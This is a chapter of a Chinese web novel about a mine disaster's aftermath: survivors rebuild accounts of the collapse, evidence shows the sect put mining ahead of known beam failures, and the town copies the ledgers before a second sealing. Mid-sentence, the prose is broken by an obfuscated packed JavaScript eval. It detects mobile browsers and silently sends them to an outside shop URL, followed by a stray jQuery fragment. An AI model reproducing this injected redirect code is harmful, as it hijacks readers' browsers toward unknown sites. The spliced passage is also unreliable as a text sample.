矿门开后的第一夜，伏牛城没有一户熄灯。
伤者被安置在粮仓和矿钟楼之间的空地上。城里没有足够床榻，家属便拆门板、卸车架，铺上旧棉絮。煤炉烧得太旺会加重伤者气喘，只能用小泥炉分散取暖。灯影落在一张张被煤灰糊住的脸上，黑与白交错，谁也看不出原来肤色。
许槐的压伤药在半夜用尽。剩下的药包由唐婶从北路绕回，她听说封城，硬是把骡车停在命文外，拆成几十份托城外采煤人逐一带入。药送到时没有一包写她的名字，许槐仍在总账上记了“唐氏，运回二十七包，损车轴一根”。
六十三人的账也从这一夜开始重写。
阿石本名石望生。父亲石大成左腿骨折，长兄石鸣肺里吸入太多煤尘，次兄石泉死在东支井。过去矿册只写二六七、二六八、二六九，三个号挨在一起，像三件可以替换的工具。
石桂娘守着尸体坐到天亮，把三个儿子的本名分别写在号后。她不识“泉”字，便让书吏照着家中水缸上的旧刻拓下来。
“他出生那年井里出了水，算命的说水能保命。”石桂娘说道，“没保住也还是叫这个。”
没人劝她改一个更吉利的说法。
幸存矿工恢复力气以后，开始复原井下经过。塌方发生在酉时二刻，比宗门记录早整整半个时辰。东支井梁先断，随后通风道被落石堵住。领班陈扁担把人撤进三号避难洞，六十三人按每组六人轮流清理风缝，其余人平躺节省空气。
复原不是坐在暖屋里凭记忆讲完。陈扁担每说一段，便有别的矿工纠正。有人记得第一根梁向东倒，有人坚持是向南；一个伤者说邹执事的弟子曾在塌方前来过，另两人却没看见。年轻书吏把不同说法并列记录，没有为了得出一份好看的证词强行选边。
他们又把六十三块小石放在地上，按当时位置排列。谁搬过水，谁去挖风缝，谁中途昏迷，由本人或同组矿工移动石块。排到石泉时，阿石发现父亲说他在西角，陈扁担却记得他死在东梁。争到最后，众人才想起尸体曾为让出通道被搬过一次。若没有这一遍，名册便会把“死亡位置”错记成“受伤位置”，以后追查梁木责任也会随之偏掉。
江照夜坐在圈外听。她没有进入第一次塌方的井，也没有资格用自己熟悉的因果解释替这些互相冲突的记忆收尾。她只在灰线明显被命文牵动时作一个标记，提醒众人哪一段可能受过外力篡改，再由当事者复核。
最初并不齐心。
有人抢水，有人坚持往主井冲，还有两名矿工为谁先靠近风缝打了一架。石泉不是让出位置而死。他在第二次塌落时回去取敲壁铁锤，被断梁砸中。若把他的死写成无私献身，会让活人好受一些，却不是事实。
“他回去是怕没锤子，外面听不见。”石大成躺在门板上说道，“也有一点想立功。他总说自己敲得最准。”
阿石低着头：“那就都写。”
陈扁担用炭在地面画矿道。六个死者分别死于压伤、窒息与争水后的撞伤。剩下五十七人能撑到石门打开，靠的是一套矿工自己传下来的办法：每人只说必要的话，用湿布挡口鼻，把最后两盏矿灯留作测风，不用来照明。
“灯焰往哪边偏，哪边就有气。”陈扁担说道，“最后一盏快灭时，门缝开了。”
江照夜看向那两盏灯。灯壳普通，铜皮被手摸得发亮。一盏属于死去的岑姓矿工，另一盏找不到主人，因为危急时换过太多次手。
没有一盏属于她。
邹执事的矿务账却在午后被人搜出。账上写着同日申时便收到东支井梁开裂报告，宗门没有停工，反而要求再采一车“命砂”。那种矿砂色泽淡金，是制作高阶符纸与定因墨的材料，天命司近两年收购价翻了三倍。
更早的护梁木被挪去扩建命砂仓，旧梁只在表面刷了灵漆。塌方不是天灾，也不是矿煞，是有人算过六十三条命与一车矿砂的价钱。
青岳宗弟子季恒——正是最先交出副令牌的人——跪在矿钟下许久。他负责过一次护梁验收，曾发现木纹不对，却被邹执事以不懂矿务为由驳回。此后他没有再问。
“我不知道会塌。”季恒说道。
石桂娘回答：“你不知道，不是你验过的木便变好。”
“我愿作证。”季恒说道。
“作证是你该做的。”石桂娘说道，“别跪我。你若想求谁原谅，去问井下六个，看他们答不答。”
季恒脸色发白，仍把验收令牌和往来公文交了出来。
曲朝歌说过，黑册中的矿难暂记只能留一日。城里人便抢在这一日内抄账。识字者抄公文，不识字者磨墨、晒纸、守门。有人担心青岳宗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929951|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
报复，只愿抄不愿署名；也有人把姓名写得比正文还大，恨不得州府第一眼便看到。
江照夜没有要求统一。
午后，黑册暂记如期从空中淡去。邹执事的罪名在天命记录里重新变成“尚待核查”，矿难结局也试图恢复为矿煞意外。可地面已经有四百三十六份抄件，沿商队、亲属和送煤车散往不同方向。
天命可以删掉一页，不能同时追上所有人的手。
傍晚，阿石在死者名册最后添了一行：开门者众，未设首功。
有人提议把江照夜写在最前，他拒绝了。她找出铁销和旧道，家属送铁，矿工自救，季恒开锁，曲朝歌拖延。若一定排出第一，账便会重新长成命书喜欢的样子。
也有人不满，说既然不排首功，今后抚恤如何分。石桂娘把“功劳账”和“损失账”分成两本：功劳照实际做过的事记，损失则按死亡、伤残、误工和出资分别计算。做得多的人不因此多领死者抚恤，受伤最重的人也不必先证明自己英勇才能拿药。
许槐看过两本账，主动把自己带来的药从功劳册挪到垫资册。将来矿户若有能力可以偿还，无力便由查获的宗门赔银抵扣。他仍想收回本钱，却不再让一包药同时变成名声、债和支配伤者的凭据。
入夜前，六名死者家属各自决定丧仪。三家愿同葬，两家要带回祖坟，岑姓矿工无人认领，便暂停矿钟楼。众人没有为了象征团结把六口棺材排成一个整齐阵列。死亡属于不同的人，连告别也不必统一。
江照夜站在矿钟楼下，没有推让，也没有谦称自己什么都没做。她只在自己那一栏核对：发现旧道，撬中央销，伤右腕，耗药一份。
字很少，分量刚好。
夜深时，伏牛山仍有细小碎石滚落。石大成从病榻上听了许久，忽然让阿石把矿图拿来。
“主井开了，东风井还堵着。”石大成说道，“再过两日，地下沼气积满，整座南矿都要炸。”
阿石问道：“青岳宗会修吗？”
季恒从门外走进来，手中捏着新收到的宗令：“他们不修。梁长老明日到城，要以矿煞未清为名，第二次封井。”
空地上的灯火安静了一瞬。
六十三人的命刚刚从预写结局里抢回来，埋在山腹里的证据和整座城的生计，又要被一块新石头盖住。